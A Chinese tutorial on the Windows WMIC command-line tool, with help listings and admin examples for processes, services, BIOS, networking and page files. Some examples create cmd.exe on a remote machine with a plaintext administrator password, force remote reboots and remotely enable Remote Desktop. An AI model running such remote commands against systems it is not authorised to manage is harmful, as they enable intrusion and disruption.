精华内容
下载资源
问答
  • 2021-03-09 04:25:07

    wmic.exe是WMI 命令行。作为 Windows XP 的一部分发布的 WMI 命令行工具 (wmic.exe) 提供一个到 WMI 基础结构的命令行接口。可以使用 wmic.exe 执行来自命令行的常见 WMI 任务,包括浏览 CIM 和检查 CIM 类定义。有关使用 WMI 命令行工具的信息,参阅 Windows XP 帮助和支持中心内的“使用 WMI 命令行 (WMIC) 工具”

    一、什么是WMIC?编辑

    WMIC是扩展WMI(Windows Management Instrumentation,Windows管理规范),提供了从命令行接口和批命令脚本执行系统管理的支持。在WMIC出现之前,如果要管理WMI系统,必须使用一些专门的WMI应用,比如SMS,或者使用WMI的脚本编程API,或者使用象CIM Studio之类的工具。如果不熟悉C++之类的编程语言或VBScript之类的脚本语言,或者不掌握WMI名称空间的基本知识,要使用WMI管理系统是很困难的。WMIC改变了这种情况,为WMI名称空间提供了一个强大的、友好的命令行接口。

    本文将主要介绍我在使用过程中的一些经验,本着实用主义的原则,过多的概念性的东西我就不多介绍了,在用到的时候我再进行一些解释。

    和上面的官方定义比起来,还有一个更好理解的解释:WMIC,是一款命令行管理工具。使用WMIC,我们不但可以管理本地计算机,而且还可以管理同一Windows域内的所有远程计算机(需要必要的权限),而被管理的远程计算机不必事先安装WMIC,只需要支持WMI即可。WMIC有一个能够分析、解释和执行从命令行接收的别名(Alias)的引擎,它是一个可执行文件,名为WMIC.exe,这个文件通常位于“c:\windows\system32\wbem”文件夹中(支持WinXP和Win2003系统)。这样就比较好理解了吧,可以使用WMI管理远程计算机,是不是非常有吸引力呀!

    二、WMIC能做什么?编辑

    可以使用WMIC实现如下的管理任务:

    2、远程单个计算机管理

    3、远程多个计算机管理

    4、使用远程会话的计算机管理(如Telnet)

    5、使用管理脚本的自动管理

    三、简单的使用实例编辑

    1、运行WMIC

    打开“开始”-“运行”栏,输入“WMIC”就可以启动wmic了,如图1。第一次运行时,会显示WMIC正在安装,请稍等。几秒钟后就会出现如图2所示的命令提示符了。

    2、初试WMIC下的命令

    在窗口下输入●process●执行看看,结果如图3所示,列出了正在运行的进程和调用进程的路径。当然了,我们也可以输入●process list brief●来查看更详细的信息,比如进程名称、ID、优先级等。更重要的是,对于现在有些可以在任务管理器里隐藏进程的木马,要想在wmic里隐藏,可就没那么容易了,它会成为你查杀木马的好帮手。

    现在只是知道了路径,如果怀疑某一进程,想查看它的详细信息又该怎么办呢?那输入●process name=‘jqs.exe’list full●就可以了,jqs是我安装java后新增加的一个进程,大家在测试时也可以选用别的,如图4。我们还可以使用以下命令来进程:●process where name=’jqs.exe’delete●,回车后就会提示我们是否删除,如图5。这里将delete换成“call terminate”也可以达到同样的效果。

    在wmic下如何查看BIOS信息呢?我们输入●bios list full●,是使用的命令吧,不用重启电脑就可以知道你现在使用的电脑的BIOS信息了,如图6。

    除此之外,wmic还有停止、暂停和运行服务的功能:启动服务startservice,停止服务stopservice,暂停服务pauseservice。具体的命令使用格式就是:

    ●Service where caption=”windows time” call stopservice●--停止服务

    ●Service where caption=”windows time” call startservice●--启动服务

    ●Service where name=”w32time” call stopservice●--停止服务,注意name和caption的区别。

    ●wmic process call create shutdown.exe●--关闭本地计算机。

    想要知道更多的命令,直接在命令行下输入“/?”,就可以获得详细的帮助信息了,如图7。

    很多人制作的批处理或者脚本功能都是调用wmi实现的,它所具有的查看功能非常强大,尤其是安装了WMIC的电脑可以连接到任何一台安装了WMI的电脑,被连接的电脑不需要安装WMIC。比如我们要查看局域网内所有计算机的进程,监视对方计算机进程等,至于其他更多的功能就请读者自己去挖掘吧

    C:\Documents and Settings\Lihongtao>wmic /?

    [global switches]

    有效的全局开关有:

    /NAMESPACE 别名使用的名称空间路径。

    /ROLE 包含此别名定义的角色路径。

    /NODE 别名使用的服务器。

    /IMPLEVEL 客户模拟级别。

    /AUTHLEVEL 客户身份验证级别。

    /LOCALE 客户应用的语言识别符。

    /PRIVILEGES 启用或禁用所有特权。

    /TRACE 将调试信息输出到 stderr。

    /RECORD 将所有输入命令和输出写入日志。

    /INTERACTIVE 设置或重设交互模式。

    /FAILFAST 设置或重置 FailFast 模式。

    /USER 会话期间使用的用户。

    /PASSWORD 用于会话登录的密码。

    /OUTPUT 为输出重新定向指定模式。

    /APPEND 为输出重新定向指定模式。

    /AGGREGATE 设置或重置集合模式。

    /AUTHORITY Specifies the for the connection.

    /?[:] 用法信息。

    有关具体全局开关的信息,请输入: switch-name /?

    当前角色有下列别名。:

    ALIAS - 访问本地机器上的别名

    BASEBOARD - 基板 (也叫母板或系统板) 管理。

    BIOS - 基本输入/输出服务 (BIOS) 管理。

    BOOTCONFIG - 启动配置管理。

    CDROM - CD-ROM 管理。

    COMPUTERSYSTEM - 计算机系统管理。

    CPU - CPU 管理。

    CSPRODUCT - SMBIOS 的计算机系统产品信息。

    DATAFILE - DataFile 管理。

    DCOMAPP - DCOM 程序管理。

    DESKTOP - 用户桌面管理。

    DESKTOPMONITOR - 监视器管理。

    DEVICEMEMORYADDRESS - 设备内存地址管理。

    DISKDRIVE - 物理磁盘驱动器管理。

    DISKQUOTA - NTFS 卷磁盘空间使用情况。

    DMACHANNEL - 直接内存访问(DMA)频道管理。

    ENVIRONMENT - 系统环境设置管理。

    FSDIR - 文件目录系统项目管理。

    GROUP - 组帐户管理。

    IDECONTROLLER - IDE 控制器管理。

    IRQ - 间隔请求线 (IRQ) 管理。

    JOB - 提供对使用计划服务安排的工作的访问。

    LOADORDER - 定义执行依存的系统服务管理。

    LOGICALDISK - 本地储存设备管理。

    LOGON - 登录会话。

    MEMCACHE - 缓存内存管理。

    MEMLOGICAL - 系统内存管理 (配置布局和内存可用性)。

    MEMPHYSICAL - 计算机系统物理内存管理。

    NETCLIENT - 网络客户端管理。

    NETLOGIN - (某一用户的)网络登录信息管理。

    NETPROTOCOL - 协议 (和其网络特点) 管理。

    NETUSE - 活动网络连接管理。

    NIC - 网络界面控制器 (NIC) 管理。

    NICCONFIG - 网络适配器管理。

    NTDOMAIN - NT 域管理。

    NTEVENT - NT 事件日志的项目

    NTEVENTLOG - NT 时间日志文件管理。

    ONBOARDDEVICE - 母板(系统板)内置普通设适配器设备的管理。

    OS - 已安装的操作系统管理。

    PAGEFILE - 虚拟内存文件对调管理。

    PAGEFILESET - 页面文件设置管理。

    PARTITION - 物理磁盘分区区域的管理。

    PORT - I/O 端口管理。

    PORTCONNECTOR - 物理连接端口管理。

    PRINTER - 打印机设备管理。

    PRINTERCONFIG - 打印机设备配置管理。

    PRINTJOB - 打印工作管理。

    PROCESS - 进程管理。

    PRODUCT - 安装包任务管理。

    QFE - 快速故障排除。

    QUOTASETTING - 设置卷的磁盘配额信息。

    RECOVEROS - 当操作系统失败时,将从内存收集的信息。

    REGISTRY - 计算机系统注册表管理。

    SCSICONTROLLER - SCSI 控制器管理。

    SERVER - 服务器信息管理。

    SERVICE - 服务程序管理。

    SHARE - 共享资源管理。

    SOFTWAREELEMENT - 安装在系统上的软件产品元素的管理。

    SOFTWAREFEATURE - SoftwareElement 的软件产品组件的管理。

    SOUNDDEV - 声音设备管理。

    STARTUP - 用户登录到计算机系统时自动运行命令的管理。

    SYSACCOUNT - 系统帐户管理。

    SYSDRIVER - 基本服务的系统驱动程序管理。

    SYSTEMENCLOSURE - 物理系统封闭管理。

    SYSTEMSLOT - 包括端口、插口、附件和主要连接点的物理连接点管理。

    TAPEDRIVE - 磁带驱动器管理。

    TEMPERATURE - 温度感应器的数据管理 (电子温度表)。

    TIMEZONE - 时间区域数据管理。

    UPS - 不可中断的电源供应 (UPS) 管理。

    USERACCOUNT - 用户帐户管理。

    VOLTAGE - 电压感应器 (电子电量计) 数据管理。

    VOLUMEQUOTASETTING - 将某一磁盘卷与磁盘配额设置关联。

    WMISET - WMI 服务操作参数管理。

    有关具体别名的信息,请输入: alias /?

    CLASS - 按 ESC 键回到完整的 WMI 架构。

    PATH - 按 ESC 键回到完整的 WMI 对象路径。

    CONTEXT - 显示所有全局开关的状态。

    QUIT/EXIT - 退出此程序。

    有关 CLASS/PATH/CONTEXT 更多的信息,输入: (CLASS | PATH | CONTEXT) /?

    C:\Documents and Settings\Lihongtao>

    WMIC 实例教程2008-10-27 17:29wmic 获取进程名称以及可执行路径:

    wmic process get name,executablepath

    wmic 删除指定进程(根据进程名称):

    wmic process where name="qq.exe" call terminate

    或者用

    wmic process where name="qq.exe" delete

    wmic 删除指定进程(根据进程PID):

    wmic process where pid="123" delete

    wmic 创建新进程

    wmic process call create "C:\Program Files\Tencent\QQ\QQ.exe"

    在远程机器上创建新进程:

    wmic /node:192.168.1.10 /user:administrator /password:123456 process call create cmd.exe

    关闭本地计算机

    wmic process call create shutdown.exe

    重启远程计算机

    wmic /node:192.168.1.10/user:administrator /password:123456 process call create "shutdown.exe -r -f -m"

    更改计算机名称

    wmic computersystem where "caption='%ComputerName%'" call rename newcomputername

    更改帐户名

    wmic USERACCOUNT where "name='%UserName%'" call rename newUserName

    wmic 结束可疑进程(根据进程的启动路径)

    wmic process where "name='explorer.exe' and executablepath<>'%SystemDrive%\\windows\\explorer.exe'" delete

    wmic 获取物理内存

    wmic memlogical get TotalPhysicalMemory|find /i /v "t"

    wmic 获取文件的创建、访问、修改时间

    @echo off

    for /f "skip=1 tokens=1,3,5 delims=. " %%a in ('wmic datafile where name^="c:\\windows\\system32\\notepad.exe" get CreationDate^,LastAccessed^,LastModified') do (

    set a=%%a

    set b=%%b

    set c=%%c

    echo 文件: c:\windows\system32\notepad.exe

    echo.

    echo 创建时间: %a:~0,4% 年 %a:~4,2% 月 %a:~6,2% 日 %a:~8,2% 时 %a:~10,2% 分 %a:~12,2% 秒

    echo 最后访问: %b:~0,4% 年 %b:~4,2% 月 %b:~6,2% 日 %b:~8,2% 时 %b:~10,2% 分 %b:~12,2% 秒

    echo 最后修改: %c:~0,4% 年 %c:~4,2% 月 %c:~6,2% 日 %c:~8,2% 时 %c:~10,2% 分 %c:~12,2% 秒

    )

    echo.

    pause

    wmic 全盘搜索某文件并获取该文件所在目录

    for /f "skip=1 tokens=1*" %i in ('wmic datafile where "FileName='qq' and extension='exe'" get drive^,path') do (set "qPath=%i%j"&@echo %qPath:~0,-3%)

    获取屏幕分辨率 wmic DESKTOPMONITOR where Status='ok' get ScreenHeight,ScreenWidth

    wmic PageFileSet set InitialSize="512",MaximumSize="512"

    设置虚拟内存到E盘,并删除C盘下的页面文件,重启计算机后生效

    wmic PageFileSet create name="E:\\pagefile.sys",InitialSize="1024",MaximumSize="1024"

    wmic PageFileSet where "name='C:\\pagefile.sys'" delete

    获得进程当前占用的内存和最大占用内存的大小:

    wmic process where caption='filename.exe' get WorkingSetSize,PeakWorkingSetSize

    以KB为单位显示

    @echo off

    for /f "skip=1 tokens=1-2 delims= " %%a in ('wmic process where caption^="conime.exe" get WorkingSetSize^,PeakWorkingSetSize') do (

    set /a m=%%a/1024

    set /a mm=%%b/1024

    echo 进程conime.exe现在占用内存:%m%K;最高占用内存:%mm%K

    )

    pause

    远程打开计算机远程桌面

    wmic /node:%pcname% /USER:%pcaccount% PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

    更多相关内容
  • 节点wmic WMIC周围的Node.js包装器。 将每个WMIC命令输出转换为JavaScript数组。 注意,这是支持所有WMIC命令的v2版本,与v1版本不兼容。 对于1.0.0+版本,请签出分支。 var wmic = require ( 'node-wmic' ) ; ...
  • WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了从命令行接口和批命令脚本执行系统管理的支持。非常好用命令,这个脚本用于修复wmic不能使用的问题
  • WMIC

    2021-01-18 15:33:09
    什么是wmic (WMI Command)? WMIC是扩展WMI(Windows Management Instrumentation,Windows管理规范),提供了从命令行接口和批命令脚本执行系统管理的支持。在WMIC出现之前,如果要管理WMI系统,必须使用一些专门...

    什么是wmic (WMI Command)?

    WMIC是扩展WMI(Windows Management Instrumentation,Windows管理规范),提供了从命令行接口批命令脚本执行系统管理的支持。在WMIC出现之前,如果要管理WMI系统,必须使用一些专门的WMI应用,比如SMS,或者使用WMI的脚本编程API,或者使用象CIM Studio之类的工具。如果不熟悉C++之类的 编程语言或VBScript之类的 脚本语言,或者不掌握WMI 名称空间的基本知识,要使用WMI管理系统是很困难的。WMIC改变了这种情况,为WMI 名称空间提供了一个强大的、友好的命令行接口。

    本文将主要介绍我在使用过程中的一些经验,本着实用主义的原则,过多的概念性的东西我就不多介绍了,在用到的时候我再进行一些解释。

    和上面的官方定义比起来,还有一个更好理解的解释:WMIC,是一款命令行管理工具。使用WMIC,我们不但可以管理本地计算机,而且还可以管理同一Windows域内的所有远程计算机(需要必要的权限),而被管理的远程计算机不必事先安装WMIC,只需要支持WMI即可。WMIC有一个能够分析、解释和执行从命令行接收的别名(Alias)的引擎,它是一个可执行文件,名为WMIC.exe,这个文件通常位于“c:\windows\system32\wbem”文件夹中(支持WinXP和Win2003系统, win7也支持)。这样就比较好理解了吧,可以使用WMI管理远程计算机,是不是非常有吸引力呀!

    WMIC能做什么?

    可以使用WMIC实现如下的管理任务:

    1、本地 计算机管理

    2、远程单个 计算机管理

    3、远程多个 计算机管理

    4、使用远程会话的 计算机管理(如Telnet)

    5、使用管理脚本的自动管理

    WMIC命令使用帮助文档

    wmic / ?

    [global switches] <command>
    
    The following global switches are available:
    /NAMESPACE           Path for the namespace the alias operate against.
    /ROLE                Path for the role containing the alias definitions.
    /NODE                Servers the alias will operate against.
    /IMPLEVEL            Client impersonation level.
    /AUTHLEVEL           Client authentication level.
    /LOCALE              Language id the client should use.
    /PRIVILEGES          Enable or disable all privileges.
    /TRACE               Outputs debugging information to stderr.
    /RECORD              Logs all input commands and output.
    /INTERACTIVE         Sets or resets the interactive mode.
    /FAILFAST            Sets or resets the FailFast mode.
    /USER                User to be used during the session.
    /PASSWORD            Password to be used for session login.
    /OUTPUT              Specifies the mode for output redirection.
    /APPEND              Specifies the mode for output redirection.
    /AGGREGATE           Sets or resets aggregate mode.
    /AUTHORITY           Specifies the <authority type> for the connection.
    /?[:<BRIEF|FULL>]    Usage information.
    
    For more information on a specific global switch, type: switch-name /?
    
    
    The following alias/es are available in the current role:
    ALIAS                    - Access to the aliases available on the local system
    BASEBOARD                - Base board (also known as a motherboard or system board) management.
    BIOS                     - Basic input/output services (BIOS) management.
    BOOTCONFIG               - Boot configuration management.
    CDROM                    - CD-ROM management.
    COMPUTERSYSTEM           - Computer system management.
    CPU                      - CPU management.
    CSPRODUCT                - Computer system product information from SMBIOS.
    DATAFILE                 - DataFile Management.
    DCOMAPP                  - DCOM Application management.
    DESKTOP                  - User's Desktop management.
    DESKTOPMONITOR           - Desktop Monitor management.
    DEVICEMEMORYADDRESS      - Device memory addresses management.
    DISKDRIVE                - Physical disk drive management.
    DISKQUOTA                - Disk space usage for NTFS volumes.
    DMACHANNEL               - Direct memory access (DMA) channel management.
    ENVIRONMENT              - System environment settings management.
    FSDIR                    - Filesystem directory entry management.
    GROUP                    - Group account management.
    IDECONTROLLER            - IDE Controller management.
    IRQ                      - Interrupt request line (IRQ) management.
    JOB                      - Provides  access to the jobs scheduled using the schedule service.
    LOADORDER                - Management of system services that define execution dependencies.
    LOGICALDISK              - Local storage device management.
    LOGON                    - LOGON Sessions.
    MEMCACHE                 - Cache memory management.
    MEMORYCHIP               - Memory chip information.
    MEMPHYSICAL              - Computer system's physical memory management.
    NETCLIENT                - Network Client management.
    NETLOGIN                 - Network login information (of a particular user) management.
    NETPROTOCOL              - Protocols (and their network characteristics) management.
    NETUSE                   - Active network connection management.
    NIC                      - Network Interface Controller (NIC) management.
    NICCONFIG                - Network adapter management.
    NTDOMAIN                 - NT Domain management.
    NTEVENT                  - Entries in the NT Event Log.
    NTEVENTLOG               - NT eventlog file management.
    ONBOARDDEVICE            - Management of common adapter devices built into the motherboard (system board).
    OS                       - Installed Operating System/s management.
    PAGEFILE                 - Virtual memory file swapping management.
    PAGEFILESET              - Page file settings management.
    PARTITION                - Management of partitioned areas of a physical disk.
    PORT                     - I/O port management.
    PORTCONNECTOR            - Physical connection ports management.
    PRINTER                  - Printer device management.
    PRINTERCONFIG            - Printer device configuration management.
    PRINTJOB                 - Print job management.
    PROCESS                  - Process management.
    PRODUCT                  - Installation package task management.
    QFE                      - Quick Fix Engineering.
    QUOTASETTING             - Setting information for disk quotas on a volume.
    RDACCOUNT                - Remote Desktop connection permission management.
    RDNIC                    - Remote Desktop connection management on a specific network adapter.
    RDPERMISSIONS            - Permissions to a specific Remote Desktop connection.
    RDTOGGLE                 - Turning Remote Desktop listener on or off remotely.
    RECOVEROS                - Information that will be gathered from memory when the operating system fails.
    REGISTRY                 - Computer system registry management.
    SCSICONTROLLER           - SCSI Controller management.
    SERVER                   - Server information management.
    SERVICE                  - Service application management.
    SHADOWCOPY               - Shadow copy management.
    SHADOWSTORAGE            - Shadow copy storage area management.
    SHARE                    - Shared resource management.
    SOFTWAREELEMENT          - Management of the  elements of a software product installed on a system.
    SOFTWAREFEATURE          - Management of software product subsets of SoftwareElement.
    SOUNDDEV                 - Sound Device management.
    STARTUP                  - Management of commands that run automatically when users log onto the computer system.
    SYSACCOUNT               - System account management.
    SYSDRIVER                - Management of the system driver for a base service.
    SYSTEMENCLOSURE          - Physical system enclosure management.
    SYSTEMSLOT               - Management of physical connection points including ports,  slots and peripherals, and proprietary connections points.
    TAPEDRIVE                - Tape drive management.
    TEMPERATURE              - Data management of a temperature sensor (electronic thermometer).
    TIMEZONE                 - Time zone data management.
    UPS                      - Uninterruptible power supply (UPS) management.
    USERACCOUNT              - User account management.
    VOLTAGE                  - Voltage sensor (electronic voltmeter) data management.
    VOLUME                   - Local storage volume management.
    VOLUMEQUOTASETTING       - Associates the disk quota setting with a specific disk volume.
    VOLUMEUSERQUOTA          - Per user storage volume quota management.
    WMISET                   - WMI service operational parameters management.
    
    For more information on a specific alias, type: alias /?
    
    CLASS     - Escapes to full WMI schema.
    PATH      - Escapes to full WMI object paths.
    CONTEXT   - Displays the state of all the global switches.
    QUIT/EXIT - Exits the program.
    
    For more information on CLASS/PATH/CONTEXT, type: (CLASS | PATH | CONTEXT) /?
    
    

    中文翻译:

    [global switches] <command>
    
    以下全局开关可用:
    
    /NAMESPACE                  别名操作的命名空间的路径。
    /ROLE                       包含别名定义的角色的路径。
    /NODE                       别名将对其进行操作的服务器。
    /IMPLEVEL                   客户端模拟级别。
    /AUTHLEVEL                  客户端身份验证级别。
    /LOCALE                     客户端应使用的语言ID。
    /PRIVILEGES                 启用或禁用所有权限。
    /TRACE                      将调试信息输出到stderr。
    /RECORD                     记录所有输入命令和输出。
    /INTERACTIVE                设置或重置交互模式。
    /FAILFAST                   设置或重置FailFast模式。
    /USER                       在会话期间使用的用户。
    /PASSWORD                   用于会话登录的密码。
    /OUTPUT                     指定输出重定向的模式。
    /APPEND                     指定输出重定向的模式。
    /AGGREGATE                  设置或重置聚合模式。
    /AUTHORITY                  指定连接的<authority type>。
    /?[:<BRIEF | FULL>]        使用信息。
    
    有关特定全局开关的更多信息,请键入:switch-name /?
    
    当前角色中提供了以下别名/ es:
    
    ALIAS                        - 访问本地系统上可用的别名
    BASEBOARD                    - 基板(也称为主板或系统板)管理。
    BIOS                         - 基本输入/输出服务(BIOS)管理。
    BOOTCONFIG                   - 引导配置管理。
    CDROM                        - CD-ROM管理。
    COMPUTERSYSTEM               - 计算机系统管理。
    CPU                          - CPU管理。
    CSPRODUCT                    - 来自SMBIOS的计算机系统产品信息。
    DATAFILE                     - DataFile管理。
    DCOMAPP                      - DCOM应用程序管理。
    DESKTOP                      - 用户的桌面管理。
    DESKTOPMONITOR               - 桌面监视器管理。
    DEVICEMEMORYADDRESS          - 设备内存地址管理。
    DISKDRIVE                    - 物理磁盘驱动器管理。
    DISKQUOTA                    - NTFS卷的磁盘空间使用情况。
    DMACHANNEL                   - 直接内存访问(DMA)通道管理。
    ENVIRONMENT                  - 系统环境设置管理。
    FSDIR                        - 文件系统目录条目管理。
    GROUP                        - 集团账户管理。
    IDECONTROLLER                - IDE控制器管理。
    IRQ                          - 中断请求线(IRQ)管理。
    JOB                          - 提供对使用计划服务计划的作业的访问。
    
    LOADORDER                   - 管理定义执行依赖性的系统服务。
    LOGICALDISK                 - 本地存储设备管理。
    LOGON                       - 登录会话。
    MEMCACHE                    - 缓存内存管理。
    MEMORYCHIP                  - 存储芯片信息。
    MEMPHYSICAL                 - 计算机系统的物理内存管理。
    NETCLIENT                   - 网络客户端管理。
    NETLOGIN                    - (特定用户的)网络登录信息管理。
    NETPROTOCOL                 - 协议(及其网络特征)管理。
    NETUSE                      - 主动网络连接管理。
    NIC                         - 网络接口控制器(NIC)管理。
    NICCONFIG                   - 网络适配器管理。
    NTDOMAIN                    - NT域管理。
    NTEVENT                     - NT事件日志中的条目。
    NTEVENTLOG                  - NT事件日志文件管理。
    ONBOARDDEVICE               - 管理主板(系统板)内置的通用适配器设备。
    
    OS                          - 已安装的操作系统/管理。
    PAGEFILE                    - 虚拟内存文件交换管理。
    PAGEFILESET                 - 页面文件设置管理。
    PARTITION                   - 管理物理磁盘的分区区域。
    PORT                        - I / O端口管理。
    PORTCONNECTOR               - 物理连接端口管理。
    PRINTER                     - 打印机设备管理。
    PRINTERCONFIG               - 打印机设备配置管理。
    PRINTJOB                    - 打印作业管理。
    PROCESS                     - 进程管理。
    PRODUCT                     - 安装包任务管理。
    QFE                         - 快速修复工程。
    QUOTASETTING                - 设置卷上磁盘配额的信息。
    RDACCOUNT                   - 远程桌面连接权限管理。
    RDNIC                       - 特定网络适配器上的远程桌面连接管理。
    RDPERMISSIONS               - 特定远程桌面连接的权限。
    RDTOGGLE                    - 远程打开或关闭远程桌面监听器。
    RECOVEROS                   - 操作系统出现故障时将从内存中收集的信息。
    REGISTRY                    - 计算机系统注册表管理.
    SCSICONTROLLER           - SCSI 控制器管理。
    SERVER                   - 服务器信息管理。
    SERVICE                  - 服务程序管理。
    SHARE                    - 共享资源管理。
    SOFTWAREELEMENT          - 安装在系统上的软件产品元素的管理。
    SOFTWAREFEATURE          - SoftwareElement 的软件产品组件的管理。
    SOUNDDEV                 - 声音设备管理。
    STARTUP                  - 用户登录到计算机系统时自动运行命令的管理。
    SYSACCOUNT               - 系统帐户管理。
    SYSDRIVER                - 基本服务的系统驱动程序管理。
    SYSTEMENCLOSURE          - 物理系统封闭管理。
    SYSTEMSLOT               - 包括端口、插口、附件和主要连接点的物理连接点管理。
    TAPEDRIVE                - 磁带驱动器管理。
    TEMPERATURE              - 温度感应器的数据管理 (电子温度表)。
    TIMEZONE                 - 时间区域数据管理。
    UPS                      - 不可中断的电源供应 (UPS) 管理。
    USERACCOUNT              - 用户帐户管理。
    VOLTAGE                  - 电压感应器 (电子电量计) 数据管理。
    VOLUMEQUOTASETTING       - 将某一磁盘卷与磁盘配额设置关联。
    WMISET                   - WMI 服务操作参数管理。
    
     
    
    有关CLASS / PATH / CONTEXT的更多信息,请键入:(CLASS | PATH | CONTEXT)/?
    

    WMIC命令使用实例

    执行“wmic”命令启动WMIC命令行环境。这个命令可以在XP或 .NET Server的标准命令行解释器(cmd.exe)、Telnet会话或“运行”对话框中执行。这些启动方法可以在本地使用,也可以通过.NET Server终端服务会话使用。

    第一次执行WMIC命令时,Windows首先要安装WMIC(win7中自带wmic命令),然后显示出WMIC的命令行提示符。在WMIC命令行提示符上,命令以交互的方式执行。

    wmic的运行方式可以有两种法

    1、在cmd命令行键入wimic后出现wmic:root\cli>时你就可以输入命令了,如输入process显示所有的进程。可以输入用wimic /?来显示帮助。exit是退出交互模式。具体帮助用法如下:

    命令行帮助:

    命令例子说明
    /? 或 -? :wmic:root\cli>/?显示所有全局开关和别名的语法
    /[command]/?/user /?显示指定全局开关的信息
    [command]/?class /?显示某个命令的信息
    [command]/?memcache /?显示某个别名的信息
    [command][get]/?temperature get /?显示别名与动词组合的信息
    /?:Fullirq get /?:Full显示动词的帮助信息

    如:我要查看process命令的帮助,键入:process/?后显示如下:
    wmic:root\cli>process /?
    PROCESS - 进程管理。

    提示: BNF 的别名用法。

    (<alias> [WMIObject] | <alias> [<path where>] | [<alias>] <path where>) [<verb clause>].

    用法:

    
    PROCESS ASSOC [<format specifier>]
    PROCESS CALL <method name> [<actual param list>]
    PROCESS CREATE <assign list>
    PROCESS DELETE
    PROCESS GET [<property list>] [<get switches>]
    PROCESS LIST [<list format>] [<list switches>]
    

    2、用wmic 后面直接跟命令运行,如wmic process 就显示了所有的进程了。这两种运行方法就是:交互模式(Interactive mode)和非交互模式(Non-Interactive mode).

    下面我们能过一些实例来说明用法:

    1.显示进程的详细信息

    输入 process where name="chrome.exe" list full

    将显示出mxathon.exe进程所有的信息如下:

    CommandLine="C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,11641743188553082976,10633258324074541617,131072 --laCSName=JSCOMPU
    Description=chrome.exe
    ExecutablePath=C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
    ExecutionState=
    Handle=4600
    HandleCount=343
    InstallDate=
    KernelModeTime=12636081
    MaximumWorkingSetSize=1380
    MinimumWorkingSetSize=200
    Name=chrome.exe
    OSName=Microsoft Windows 7 Ultimate |C:\Windows|\Device\Harddisk0\Partition1
    OtherOperationCount=1117
    OtherTransferCount=7266
    PageFaults=96314
    PageFileUsage=48820
    ParentProcessId=4708
    PeakPageFileUsage=74276
    PeakVirtualSize=627687424
    PeakWorkingSetSize=114980
    Priority=4
    PrivatePageCount=49991680
    ProcessId=4600
    QuotaNonPagedPoolUsage=30
    QuotaPagedPoolUsage=656
    QuotaPeakNonPagedPoolUsage=42
    QuotaPeakPagedPoolUsage=667
    ReadOperationCount=35218
    ReadTransferCount=109458393
    SessionId=2
    Status=
    TerminationDate=
    ThreadCount=15
    UserModeTime=80808518
    VirtualSize=607399936
    WindowsVersion=6.1.7601
    WorkingSetSize=96845824
    WriteOperationCount=39509
    WriteTransferCount=23883003
    

    2.停止、暂停和运行服务功能

    启动服务startservice,
    停止服务stopservice,
    暂停服务pauseservice,
    Service where caption="windows time" call stopservice ------停止服务
    Service where caption="windows time" call startservice ------启动服务
    Service where name="w32time" call stopservice ------停止服务

    注意name和caption的区别:

    caption 显示服务名,name:服务名称.

    如: telnet服务的显示名称是telnet,服务名称.是tlntsvr。

    还有Windows Time服务的名称是w32time 显示名称是"Windows Time"要用引号引起来,主要是有一个空格。

    好了具体看一下:输入Service where caption="windows time" call startservice后有一个确认输入y就可以了,返回ReturnValue = 0;表示成功

    wmic:root\cli>Service where caption="windows time" call startservice
    执行 (\\CHINA-46B1E8590\ROOT\CIMV2:Win32_Service.Name="W32Time")->startservice()
    方法执行成功。
    输出参数:
    instance of __PARAMETERS
    {
            ReturnValue = 0;
    };
    

    3.显示出BIOS信息

    wmic bios list full

    大家可能注意到了上面命令行中还有两个参数list和full。list决定显示的信息格式与范围,它有Brief、Full、Instance、 Status、System、Writeable等多个参数,full只是它的一个参数,也是list的缺省参数,表示显示所有的信息。其他几个参数顾名思义,如Brief表示只显示摘要信息,Instance表示只显示对象实例,Status表示显示对象状态,Writeable表示只显示该对象的可写入的属性信息等。

    BiosCharacteristics={7,11,12,15,16,17,19,23,24,25,26,27,28,29,32,33,39,40,42,43,50,57,58,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79}     
    BuildNumber=                                                                                                                                  
    CodeSet=                                                                                                                                      
    CurrentLanguage=en|US|iso8859-1                                                                                                               
    Description=BIOS Date: 11/09/12 11:49:42 Ver: 04.06.05                                                                                        
    IdentificationCode=                                                                                                                           
    InstallableLanguages=1                                                                                                                        
    InstallDate=                                                                                                                                  
    LanguageEdition=                                                                                                                              
    ListOfLanguages={"en|US|iso8859-1"}                                                                                                           
    Manufacturer=American Megatrends Inc.                                                                                                         
    Name=BIOS Date: 11/09/12 11:49:42 Ver: 04.06.05                                                                                               
    OtherTargetOS=                                                                                                                                
    PrimaryBIOS=TRUE                                                                                                                              
    ReleaseDate=20121109000000.000000+000                                                                                                         
    SerialNumber=D2N0CV068533064                                                                                                                  
    SMBIOSBIOSVersion=K55VD.406                                                                                                                   
    SMBIOSMajorVersion=2                                                                                                                          
    SMBIOSMinorVersion=7                                                                                                                          
    SMBIOSPresent=TRUE                                                                                                                            
    SoftwareElementID=BIOS Date: 11/09/12 11:49:42 Ver: 04.06.05                                                                                  
    SoftwareElementState=3                                                                                                                        
    Status=OK                                                                                                                                     
    TargetOperatingSystem=0                                                                                                                       
    Version=_ASUS_ - 1072009                                                                                                                      
    

    4.停止进程的操作

    例如,执行下面的命令将关闭正在运行的QQ.exe:
    例1、wmic process where name='QQ.exe' call terminate
    命令运行结束后,WMIC命令行提示出如下结果:

    C:\>wmic process where name='QQ.exe' call terminate
    执行 (\\CHINA-46B1E8590\ROOT\CIMV2:Win32_Process.Handle="728")->terminate()
    方法执行成功。
    输出参数:
    instance of __PARAMETERS
    {
            ReturnValue = 0;
    };
    

    例2、wmic process where name="qq.exe" delete

    命令运行结束后,WMIC命令行提示出如下结果:

    C:\>wmic process where name="qq.exe" delete
    删除范例 \\CHINA-46B1E8590\ROOT\CIMV2:Win32_Process.Handle="2820"
    范例删除成功。
    

    列出所有的进程 : wmic process.

    5.连接远程电脑

    连接远程的电脑,不过好象对要开一些相应的服务

    wmic /node:"192.168.203.131" /password:"" /user:"administrator"

    6. BIOS - 基本输入/输出服务 (BIOS) 管理

    查看bios版本型号
    wmic bios get Manufacturer,Name

    7.WMIC设置IP地址

    配置或更新IP地址:
    wmic nicconfig where index=0 call enablestatic("192.168.1.5"), ("255.255.255.0") ;index=0说明是配置网络接口1。
    配置网关(默认路由):
    wmic nicconfig where index=0 call setgateways("192.168.1.1"),(1)

    8.COMPUTERSYSTEM - 计算机系统管理
